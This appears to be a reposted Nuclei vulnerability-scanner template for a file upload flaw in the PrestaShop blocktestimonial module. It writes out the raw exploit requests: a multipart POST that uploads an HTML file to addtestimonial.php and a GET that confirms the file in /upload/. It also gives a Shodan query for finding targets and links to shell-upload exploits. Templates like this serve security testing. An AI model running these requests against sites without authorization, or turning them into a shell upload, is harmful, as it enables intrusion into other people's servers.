prestashop-blocktestimonial-file-upload: Prestashop Blocktestimonial Modules - File Upload Vulnerability

PoC代码[已公开]

id: prestashop-blocktestimonial-file-upload

info:
  name: Prestashop Blocktestimonial Modules - File Upload Vulnerability
  author: MaStErChO
  severity: critical
  reference:
    - https://3xploit7.blogspot.com/2016/12/pretashop-blocktestimonial-upload-shell.html
    - https://github.com/indoxploit-coders/blocktestimonial-file-upload
    - https://exploit.linuxsec.org/prestashop-module-blocktestimonial-file-upload-auto-exploit
  metadata:
    max-request: 2
    framework: prestashop
    shodan-query: "http.component:\"prestashop\""
    product: ap_pagebuilder
    vendor: apollotheme
  tags: intrusive,file-upload,blocktestimonial,prestashop,vuln
variables:
  filename: '{{rand_base(7, "abc")}}'
  data: '{{rand_base(6, "abc")}}'

http:
  - raw:
      - |
        POST /modules/blocktestimonial/addtestimonial.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLSo7Btb6nGcpR9Cl

        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_submitter_name"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_title"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_main_message"

        {{data}}
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial_img"; filename="{{filename}}.html"
        Content-Type: text/html

        <html>
        <body>
        <h1>{{data}}</h1>
        </body>
        </html>

        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
        Content-Disposition: form-data; name="testimonial"

        Submit Testimonial
        ------WebKitFormBoundaryLSo7Btb6nGcpR9Cl--

      - |
        GET /upload/{{filename}}.html HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "Your testimonial was submitted successfully."

      - type: word
        part: body_2
        words:
          - "{{data}}"
# digest: 4a0a00473045022022c7ba4c2ab84d6fa8124a7d6b62c86a7d2344aa840c6d32d51b8409d49ca0f5022100aa80ded800e83dd4d4924f59c1a2f8cb478f1ae6215954bdedaa898d7f89af79:922c64590222798bb761d5b6d8e72950

来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/prestashop/prestashop-blocktestimonial-file-upload.yaml

漏洞描述

PoC代码[已公开]